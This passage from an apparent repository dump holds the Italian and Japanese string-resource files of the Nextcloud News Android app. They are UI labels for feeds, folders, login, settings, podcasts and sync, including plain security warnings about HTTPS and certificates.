name=\"action_settings\">Impostazioni</string>\n    <string name=\"action_sync_settings\">Sincronizza impostazioni</string>\n    <string name=\"action_add_new_feed\">Aggiungi una nuova fonte</string>\n    <string name=\"action_add_new_folder\">Aggiungi nuova cartella</string>\n    <string name=\"action_textToSpeech\">Lettura vocale</string>\n    <string name=\"action_search\">Cerca</string>\n    <string name=\"action_download_articles_offline\">Scarica articoli non in linea</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Scaricamento articoli per l\\'utilizzo non in linea</string>\n    <string name=\"notification_download_images_offline\">Scaricamento immagini per l\\'utilizzo non in linea</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Hai %d nuovo elemento non letto</item>\n        <item quantity=\"many\">Hai %d nuovi elementi non letti</item>\n        <item quantity=\"other\">Hai %d nuovi elementi non letti</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d nuovo elemento non letto disponibile</item>\n        <item quantity=\"many\">%d nuovi elementi non letti disponibili</item>\n        <item quantity=\"other\">%d nuovi elementi non letti disponibili</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL fonte</string>\n    <string name=\"action_add_feed\">Aggiungi fonte</string>\n    <string name=\"import_opml\">Importa OPML</string>\n    <string name=\"export_opml\">Esporta OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Scarica immagine</string>\n    <string name=\"action_img_sharelink\">Condividi collegamento immagine</string>\n    <string name=\"action_img_open\">Apri immagine nel browser</string>\n    <string name=\"action_img_copylink\">Copia collegamento immagine</string>\n    <string name=\"action_link_share\">Condividi collegamento</string>\n    <string name=\"action_link_open\">Apri collegamento nel browser</string>\n    <string name=\"action_link_copy\">Copia collegamento</string>\n    <string name=\"toast_img_download_wait\">Scaricamento. Attendi ...</string>\n    <string name=\"toast_img_saved\">Immagine salvata</string>\n    <string name=\"toast_img_notwriteable\">Scrittura dell\\'immagine non riuscita.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiato negli appunti</string>\n    <string name=\"error_download_failed\">Scaricamento non riuscito</string>\n    <string name=\"intent_title_share\">Condividi tramite</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Rimuovi fonte</string>\n    <string name=\"action_feed_rename\">Rinomina fonte</string>\n    <string name=\"action_feed_move\">Sposta fonte</string>\n    <string name=\"action_feed_notification_settings\">Impostazioni di notifica</string>\n    <string name=\"action_feed_open_in\">Impostazioni Apri-in</string>\n    <string name=\"action_feed_open_in_general_setting\">Utilizza l\\'impostazione generale</string>\n    <string name=\"action_feed_open_in_detailed_view\">Vista dettagliata</string>\n    <string name=\"feed_remove_button\">Rimuovi</string>\n    <string name=\"feed_rename_button\">Rinomina</string>\n    <string name=\"confirm_feed_remove\">Vuoi davvero rimuovere questa fonte? Ciò non può essere annullato!</string>\n    <string name=\"feed_move_list_description\">Seleziona la cartella in cui spostare la fonte</string>\n    <string name=\"move_feed_root_folder\">Cartella radice</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Rimuovi cartella</string>\n    <string name=\"action_folder_rename\">Rinomina cartella</string>\n    <string name=\"folder_remove_button\">Rimuovi</string>\n    <string name=\"folder_rename_button\">Rinomina</string>\n    <string name=\"confirm_folder_remove\">Vuoi davvero rimuovere questa cartella? Questa operazione non può essere annullata!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Ricevi una notifica unica per questa fonte</string>\n    <string name=\"notification_feed_default\">Tutte le fonti con le impostazioni predefinite appariranno in un\\'unica notifica</string>\n    <string name=\"notification_feed_none\">Nessuna notifica presente</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Aggiungi</string>\n    <string name=\"hint_folder_name\">Nome della cartella</string>\n    <string name=\"folder_already_exists\">Questa cartella esiste già</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Accesso manuale</string>\n    <string name=\"login_sso\">Accedi utilizzando l\\'applicazione File di Nextcloud</string>\n    <string name=\"pref_title_username\">Nome utente</string>\n    <string name=\"pref_title_password\">Password</string>\n    <string name=\"pref_title_owncloudRootPath\">Indirizzo radice di Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Accedi</string>\n    <string name=\"login_progress_signing_in\">Accesso in corso ...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Questo campo è obbligatorio</string>\n    <string name=\"error_invalid_url\">URL non corretto</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Scaricato %d vecchio elemento</item>\n        <item quantity=\"many\">Scaricati %d vecchi elementi</item>\n        <item quantity=\"other\">Scaricati %d vecchi elementi</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Non ci sono altri elementi disponibili</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Recupera %d elementi ...</item>\n        <item quantity=\"many\">Recupera %d elementi ...</item>\n        <item quantity=\"other\">Recupera %d elementi ...</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Impostazioni</string>\n    <string name=\"cache_is_cleared\">La cache è stata svuotata!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Generale</string>\n    <string name=\"pref_title_general_sort_order\">Ordinamento</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Nuovo → Vecchio</string>\n    <string name=\"pref_general_sort_order_old_new\">Vecchio → Nuovo</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Azione quando si scorre a destra</string>\n    <string name=\"pref_rename_action_swipe_left\">Azione quando si scorre a sinistra</string>\n\n    <string name=\"pref_title_general_search_in\">Cerca in</string>\n\n    <string name=\"pref_general_search_in_title\">Titolo</string>\n    <string name=\"pref_general_search_in_body\">Corpo</string>\n    <string name=\"pref_general_search_in_both\">Entrambi</string>\n\n    <string name=\"dialog_clearing_cache\">Svuotamento cache</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Cancellazione della cache. Attendi …</string>\n    <string name=\"reset_cache_unsaved_changes\">Ci sono modifiche non sincronizzate. Vuoi ripristinare comunque la cache?</string>\n    <string name=\"warning\">Avviso</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizza all\\'avvio</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostra solo gli articoli non letti</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Disabilita la verifica del nome host</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Naviga con i pulsanti del volume</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Segna come letto durante lo scorrimento</string>\n    <string name=\"pref_title_ShowFastActions\">Attiva funzioni di accesso rapido</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Salta la vista dettagliata e apri l\\'articolo nel browser</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Il pulsante Indietro apre la cartella</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Vuoi accettare un certificato sconosciuto?</string>\n    <string name=\"mtm_decision_always\">Sempre</string>\n    <string name=\"mtm_decision_abort\">Interrompi</string>\n    <string name=\"mtm_notification\">Verifica certificato</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Nessun podcast selezionato</string>\n    <string name=\"no_chapters_available\">Nessun capitolo disponibile</string>\n    <string name=\"exit_playback\">Esci dal lettore</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Velocità  di riproduzione</string>\n    <string name=\"notification_downloading_podcast_title\">Scaricamento podcast</string>\n    <string name=\"dialog_podcast_remove_title\">Sei sicuro?</string>\n    <string name=\"dialog_podcast_remove_body\">Vuoi rimuovere il media scaricato per %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Impossibile rimuovere il media per %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Il media per %1$s è stato rimosso</string>\n    <string name=\"dialog_podcast_remove_confirm\">Rimuovi</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Informazioni</string>\n    <string name=\"pref_license\">Licenza</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) versione 3</string>\n    <string name=\"pref_report_issue\">Segnala un problema</string>\n    <string name=\"pref_report_issue_summary\">Richiede un account GitHub (gratuito)</string>\n    <string name=\"pref_contribute\">Contribuisci!</string>\n    <string name=\"pref_contribute_summary\">Ottieni il codice sorgente</string>\n    <string name=\"pref_privacy\">Riservatezza</string>\n    <string name=\"pref_privacy_summary\">Criterio di riservatezza di Notizie di Nextcloud per Android</string>\n    <string name=\"pref_news_policy\">Contattaci / Policy Notizie</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud Politica sulle Notizie Android / Contattaci</string>\n    <string name=\"pref_version\">Applicazione Notizie di Nextcloud per Android</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Schermo</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Struttura elenco fonti</string>\n    <string name=\"pref_title_font_size\">Dimensione carattere</string>\n    <string name=\"pref_display_browser\">Browser</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Azioni delle icone (vista dettagliata)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Predefinito di sistema</string>\n    <string name=\"pref_display_apptheme_light\">Chiaro</string>\n    <string name=\"pref_display_apptheme_dark\">Scuro</string>\n\n    <string name=\"pref_oled_mode\">Sfondo scuro</string>\n    <string name=\"pref_oled_mode_summary\">Per tema scuro su schermi OLED</string>\n\n    <string name=\"pref_external_player\">Player Esterno</string>\n    <string name=\"pref_external_player_summary\">Riproduci i podcast nella tua app multimediale predefinita</string>\n\n    <string name=\"pref_display_browser_cct\">Schede personalizzate di Chrome integrate</string>\n    <string name=\"pref_display_browser_built_in\">Browser integrato</string>\n    <string name=\"pref_display_browser_external\">Browser esterno</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Miniature (solo i titoli)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Miniature</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Testo semplice</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Titoli</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Testo integrale</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Struttura web</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Vista delle schede</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Piccola</string>\n    <string name=\"pref_display_font_size_d\">Predefinita</string>\n    <string name=\"pref_display_font_size_l\">Grande</string>\n    <string name=\"pref_display_font_size_xl\">Molto grande</string>\n\n    <string name=\"content_desc_play\">Gioca</string>\n    <string name=\"content_desc_pause\">Pausa</string>\n    <string name=\"content_desc_playback_speed\">Velocità di riproduzione</string>\n    <string name=\"content_desc_rewind\">Riavvolgi</string>\n    <string name=\"content_desc_forward\">Inoltra</string>\n    <string name=\"content_desc_expand\">Espandi</string>\n    <string name=\"content_desc_collapse\">Contrai</string>\n    <string name=\"content_desc_mark_as_read\">Segna come letto</string>\n    <string name=\"content_desc_mark_as_unread\">Segna come non letto</string>\n    <string name=\"content_desc_tap_to_refresh\">Tocca per aggiornare</string>\n    <string name=\"content_desc_add_to_favorites\">Aggiungi ai preferiti</string>\n    <string name=\"content_desc_remove_from_favorites\">Rimuovi dai preferiti</string>\n    <string name=\"content_desc_show_password\">Mostra password</string>\n    <string name=\"content_desc_delete\">Elimina</string>\n    <string name=\"content_desc_download\">Scarica</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Errore</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Sembra che l\\'applicazione delle notizie non sia installata o attivata sul tuo server. Segui le istruzioni fornite qui per configurare l\\'applicazione sul tuo server: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Qualcosa non ha funzionato :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">L\\'applicazione Web News ha restituito Version \\\"0\\\". Dai uno sguardo alla seguente segnalazione di bug:\nhttps://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">La versione di questa applicazione non è compatibile con l\\'applicazione News di Nextcloud. Aggiorna l\\'applicazione e il framework.</string>\n    <string name=\"login_dialog_title_security_warning\">Avviso di sicurezza</string>\n    <string name=\"login_dialog_text_security_warning\">Non stai usando HTTPS, che è fortemente consigliato. Un malintenzionato potrebbe intercettare il tuo traffico e ottenere accesso a dati sensibili (ad esempio la tua password).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Qualcosa non ha funzionato. Prova ancora.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Dati e sincronizzazione</string>\n    <string name=\"pref_title_clearCache\">Svuota la cache</string>\n    <string name=\"pref_title_CacheImagesOffline\">Memorizza le immagini nella cache </string>\n    <string name=\"pref_title_Max_Cache_Size\">Dimensione massima della cache</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Mai</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Solo su WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Su WiFi e mobile</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Chiedi se non connesso al WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Mai</string>\n    <string name=\"array_sync_interval_min_5\">5 minuti</string>\n    <string name=\"array_sync_interval_min_15\">15 minuti</string>\n    <string name=\"array_sync_interval_min_30\">30 minuti</string>\n    <string name=\"array_sync_interval_min_45\">45 minuti</string>\n    <string name=\"array_sync_interval_hour_1\">1 ora</string>\n    <string name=\"array_sync_interval_hour_2\">2 ore</string>\n    <string name=\"array_sync_interval_hour_3\">3 ore</string>\n    <string name=\"array_sync_interval_hour_6\">6 ore</string>\n    <string name=\"array_sync_interval_hour_12\">12 ore</string>\n    <string name=\"array_sync_interval_hour_24\">24 ore</string>\n    <string name=\"switch_account\">Cambia account</string>\n    \n    <string name=\"successfully_exported\">Esportazione riuscita verso:</string>\n    <string name=\"opml_export\">Esportazione OPML</string>\n    <string name=\"parsing_opml\">Analisi OMPL</string>\n    <string name=\"please_wait\">Attendere prego …</string>\n    <string name=\"interval_sync_title\">Sincronizzazione intervallo</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-ja-rJP/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">自動同期</string>\n    <string name=\"title_activity_sync_interval_selector\">同期間隔</string>\n    <string name=\"empty_view_content\">アイテムがありません</string>\n    <string name=\"empty_view_content_action\">下に引っ張ってリフレッシュ</string>\n    <string name=\"toast_GettingMoreItems\">さらに他のアイテムのダウンロードが開始されました。しばらくお待ちください...</string>\n    <string name=\"no_wifi_available\">WiFi接続がありません</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Wi-Fi接続がなくても画像をダウンロードしたいですか？</string>\n    <string name=\"current_version\">使用中のバージョンは %s です</string>\n    <string name=\"widget_header\">Nextcloud ニュース</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"other\">%d 個の新しいアイテムが利用可能です</item>\n    </plurals>\n    <string name=\"message_bar_reload\">再読み込み</string>\n    <string name=\"allUnreadFeeds\">すべての未読アイテム</string>\n    <string name=\"starredFeeds\">スター付きアイテム</string>\n    <string name=\"title_activity_new_feed\">新しいフィードを追加</string>\n\n    <string name=\"menu_update\">同期</string>\n    <string name=\"menu_markAllAsRead\">すべて既読にする</string>\n    <string name=\"menu_StartImageCaching\">画像をダウンロード</string>\n    <string name=\"menu_downloadMoreItems\">さらにアイテムをダウンロード</string>\n\n    <string name=\"tv_showing_cached_version\">キャッシュされたバージョンを表示する</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">スター</string>\n    <string name=\"action_read\">既読</string>\n    <string name=\"action_playPodacst\">Podcast を再生</string>\n    <string name=\"action_openInBrowser\">ブラウザーで開く</string>\n    <string name=\"action_Share\">共有</string>\n    <string name=\"action_login\">サーバー設定</string>\n    <string name=\"action_save\">保存</string>\n    <string name=\"action_settings\">設定</string>\n    <string name=\"action_sync_settings\">同期設定</string>\n    <string name=\"action_add_new_feed\">新しいフィードを追加</string>\n    <string name=\"action_add_new_folder\">新しいフォルダーを追加</string>\n    <string name=\"action_textToSpeech\">音声読み上げ</string>\n    <string name=\"action_search\">検索</string>\n    <string name=\"action_download_articles_offline\">オフラインで記事をダウンロード</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">オフライン利用のために記事をダウンロード中</string>\n    <string name=\"notification_download_images_offline\">オフライン利用のために画像をダウンロード中</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"other\">%d 個の新しい未読アイテムがあります</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"other\">%d 個の新しい未読アイテムが利用できます</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">フィードURL</string>\n    <string name=\"action_add_feed\">フィードを追加</string>\n    <string name=\"import_opml\">OPML をインポート</string>\n    <string name=\"export_opml\">OPML をエクスポート</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">画像をダウンロード</string>\n    <string name=\"action_img_sharelink\">画像リンクを共有</string>\n    <string name=\"action_img_open\">画像をブラウザーで開く</string>\n    <string name=\"action_img_copylink\">画像リンクをコピー</string>\n    <string name=\"action_link_share\">共有リンク</string>\n    <string name=\"action_link_open\">リンクをブラウザーで開く</string>\n    <string name=\"action_link_copy\">リンクをコピー</string>\n    <string name=\"toast_img_download_wait\">ダウンロード中。しばらくお待ちください…</string>\n    <string name=\"toast_img_saved\">画像を保存しました</string>\n    <string name=\"toast_img_notwriteable\">画像の書き込みに失敗しました。</string>\n    <string name=\"toast_copied_to_clipboard\">クリップボードにコピー</string>\n    <string name=\"error_download_failed\">ダウンロードに失敗</string>\n    <string name=\"intent_title_share\">次のものでシェア</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">フィードの削除</string>\n    <string name=\"action_feed_rename\">フィードの名前を変更</string>\n    <string name=\"action_feed_move\">移動フィード</string>\n    <string name=\"action_feed_notification_settings\">通知設定</string>\n    <string name=\"feed_remove_button\">削除</string>\n    <string name=\"feed_rename_button\">名前の変更</string>\n    <string name=\"confirm_feed_remove\">本当にこのフィードを削除してよろしいですか？この操作は元に戻せません！</string>\n    <string name=\"feed_move_list_description\">フィードを移動するフォルダーを選択</string>\n    <string name=\"move_feed_root_folder\">ルートフォルダー</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">フォルダーを削除</string>\n    <string name=\"action_folder_rename\">フォルダーの名前を変更</string>\n    <string name=\"folder_remove_button\">削除</string>\n    <string name=\"folder_rename_button\">名前を変更</string>\n    <string name=\"confirm_folder_remove\">本当にこのフォルダーを削除してもよろしいですか？この操作は元に戻せません！</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">このフィードのユニーク通知を受け取る</string>\n    <string name=\"notification_feed_default\">デフォルト設定の全フィードは、1つの通知で表示されます</string>\n    <string name=\"notification_feed_none\">通知はありません</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">追加</string>\n    <string name=\"hint_folder_name\">フォルダー名</string>\n    <string name=\"folder_already_exists\">既に存在するフォルダです</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">手動ログイン</string>\n    <string name=\"login_sso\">Nextcloud ファイル アプリを使用してログイン</string>\n    <string name=\"pref_title_username\">ユーザー名</string>\n    <string name=\"pref_title_password\">パスワード</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloud ルートアドレス</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">ログイン</string>\n    <string name=\"login_progress_signing_in\">サインイン中...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">このフィールドは必須です</string>\n    <string name=\"error_invalid_url\">URLが正しくありません</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"other\">ダウンロードされた %d 個の古いアイテム</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">これ以上利用できるアイテムがありません</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"other\">これまでに %d 個のアイテムを読み込みました...</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">設定</string>\n    <string name=\"cache_is_cleared\">キャッシュがクリアされました！</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">一般</string>\n    <string name=\"pref_title_general_sort_order\">ソート順</string>\n\n    <string name=\"pref_general_sort_order_new_old\">新しい → 古い</string>\n    <string name=\"pref_general_sort_order_old_new\">古い → 新しい</string>\n\n    <string name=\"pref_rename_action_swipe_right\">右にスワイプしたときのアクション</string>\n    <string name=\"pref_rename_action_swipe_left\">左にスワイプしたときのアクション</string>\n\n    <string name=\"pref_title_general_search_in\">検索対象</string>\n\n    <string name=\"pref_general_search_in_title\">タイトル</string>\n    <string name=\"pref_general_search_in_body\">本文</string>\n    <string name=\"pref_general_search_in_both\">両方</string>\n\n    <string name=\"dialog_clearing_cache\">キャッシュをクリアしています。</string>\n    <string name=\"dialog_clearing_cache_please_wait\">キャッシュをクリアしています、しばらくお待ちください...</string>\n    <string name=\"reset_cache_unsaved_changes\">未同期の変更があります。とにかくキャッシュをリセットしますか？</string>\n    <string name=\"warning\">警告</string>\n    <string name=\"pref_title_AutoSyncOnStart\">起動時に同期</string>\n    <string name=\"pref_title_ShowOnlyUnread\">未読の記事のみ表示</string>\n    <string name=\"pref_title_DisableHostnameVerification\">ホスト名の検証を無効化</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">ボリュームボタンで移動する</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">スクロール時に既読としてマークする</string>\n    <string name=\"pref_title_ShowFastActions\">高速アクセス機能を有効化</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">詳細な表示をスキップし、ブラウザーで記事を開く</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">未知の証明書を受け入れますか？</string>\n    <string name=\"mtm_decision_always\">常に</string>\n    <string name=\"mtm_decision_abort\">中止</string>\n    <string name=\"mtm_notification\">証明書の検証</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Podcast が選択されていません</string>\n    <string name=\"no_chapters_available\">チャプターがありません</string>\n    <string name=\"exit_playback\">プレイヤーを終了</string>\n    <string name=\"podcast_playback_speed_dialog_title\">再生速度</string>\n    <string name=\"notification_downloading_podcast_title\">ポッドキャストのダウンロード</string>\n    <string name=\"dialog_podcast_remove_title\">本当に実行しますか？</string>\n    <string name=\"dialog_podcast_remove_confirm\">削除</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">アプリについて</string>\n    <string name=\"pref_license\">利用許諾</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) version 3</string>\n    <string name=\"pref_report_issue\">問題を報告する</string>\n    <string name=\"pref_report_issue_summary\">(無料の) GitHub アカウントが必要です</string>\n    <string name=\"pref_contribute\">貢献する！</string>\n    <string name=\"pref_contribute_summary\">ソースコードを入手</string>\n    <string name=\"pref_privacy\">プライバシー</string>\n    <string name=\"pref_privacy_summary\">Nextcloud ニュース Android 個人情報保護方針</string>\n    <string name=\"pref_version\">Nextcloud ニュース Android アプリ</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">表示</string>\n    <string name=\"pref_title_app_theme\">テーマ</string>\n    <string name=\"pref_title_feed_list_layout\">フィードリストのレイアウト</string>\n    <string name=\"pref_title_font_size\">フォントサイズ</string>\n    <string name=\"pref_display_browser\">ブラウザー</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">アクションアイコン（詳細表示）</string>\n\n    <string name=\"pref_display_apptheme_auto\">システムのデフォルト</string>\n    <string name=\"pref_display_apptheme_light\">ライト</string>\n    <string name=\"pref_display_apptheme_dark\">ダーク</string>\n\n    <string name=\"pref_oled_mode\">黒い背景</string>\n    <string name=\"pref_oled_mode_summary\">OLED画面でのダークテーマ用</string>\n\n    <string name=\"pref_display_browser_cct\">内蔵のChromeカスタムタブ</string>\n    <string name=\"pref_display_browser_built_in\">組み込みブラウザー</string>\n    <string name=\"pref_display_browser_external\">外部ブラウザー</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">サムネール（見出しのみ）</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">サムネイル</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">単純なテキスト</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">見出し</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">全文</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">ウェブレイアウト</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">カード表示</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">小</string>\n    <string name=\"pref_display_font_size_d\">デフォルト</string>\n    <string name=\"pref_display_font_size_l\">大</string>\n    <string name=\"pref_display_font_size_xl\">巨大</string>\n\n    <string name=\"content_desc_play\">再生</string>\n    <string name=\"content_desc_pause\">一時停止</string>\n    <string name=\"content_desc_playback_speed\">再生速度</string>\n    <string name=\"content_desc_rewind\">巻き戻す</string>\n    <string name=\"content_desc_forward\">転送</string>\n    <string name=\"content_desc_expand\">展開</string>\n    <string name=\"content_desc_collapse\">折りたたむ</string>\n    <string name=\"content_desc_mark_as_read\">既読にする</string>\n    <string name=\"content_desc_mark_as_unread\">未読にする</string>\n    <string name=\"content_desc_tap_to_refresh\">タップして更新</string>\n    <string name=\"content_desc_add_to_favorites\">お気に入りに追加</string>\n    <string name=\"content_desc_remove_from_favorites\">お気に入りから削除</string>\n    <string name=\"content_desc_show_password\">パスワードを表示</string>\n    <string name=\"content_desc_delete\">削除</string>\n    <string name=\"content_desc_download\">ダウンロード</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">エラー</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">あなたのニュースアプリがあなたのサーバーにインストールされていないか、起動されていないようです。 まず、あなたのサーバーにニュースアプリをインストールするには、こちらの指示に従ってください：%1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">何かがおかしいです （´・ω・｀）</string>\n    <string name=\"login_dialog_text_zero_version_code\">Web News アプリはバージョン \\\"0\\\"を返しました。 次のバグレポートをご覧ください：https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">このアプリのバージョンは Nextcloud ニュースアプリと互換性がありません。ニュースアプリと appframework をアップデートしてください。</string>\n    <string name=\"login_dialog_title_security_warning\">セキュリティ警告</string>\n    <string name=\"login_dialog_text_security_warning\">HTTPSを使用していないので、強くお勧めします。 攻撃者はトラフィックを傍受し、機密データ（パスワードなど）にアクセスする可能性があります。</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">何か問題が発生しました。もう一度お試しください。</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">データと同期</string>\n    <string name=\"pref_title_clearCache\">キャッシュをクリア</string>\n    <string name=\"pref_title_CacheImagesOffline\">オフラインのキャッシュ画像</string>\n    <string name=\"pref_title_Max_Cache_Size\">最大キャッシュサイズ</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">しない</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">WiFiのみ</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">WiFi &amp; モバイル</string>\n    <string name=\"pref_data_sync_image_cache_ask\">WiFi接続がない場合は尋ねる</string>\n\n    <string name=\"array_sync_interval_min_0\">なし</string>\n    <string name=\"array_sync_interval_min_5\">5分</string>\n    <string name=\"array_sync_interval_min_15\">15分</string>\n    <string name=\"array_sync_interval_min_30\">30分</string>\n    <string name=\"array_sync_interval_min_45\">45分</string>\n    <string name=\"array_sync_interval_hour_1\">1時間</string>\n    <string name=\"array_sync_interval_hour_2\">2時間</string>\n    <string name=\"array_sync_interval_hour_3\">3時間</string>\n    <string name=\"array_sync_interval_hour_6\">6時間</string>\n    <string name=\"array_sync_interval_hour_12\">12時間</string>\n    <string name=\"array_sync_interval_hour_24\">24時間</string>\n    <string name=\"switch_account\">アカウントの切り替え</string>\n    \n    <string name=\"successfully_exported\">次のエクスポートに成功しました:</string>\n    <string name=\"opml_export\">OPMLをエクスポート</string>\n    <string name=\"parsing_opml\">OPMLを解析中</string>\n    <string name=\"please_wait\">しばらくお待ちください…</string>\n    <string name=\"interval_sync_title\">同期間隔</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-ka-rGE/strings.xml",
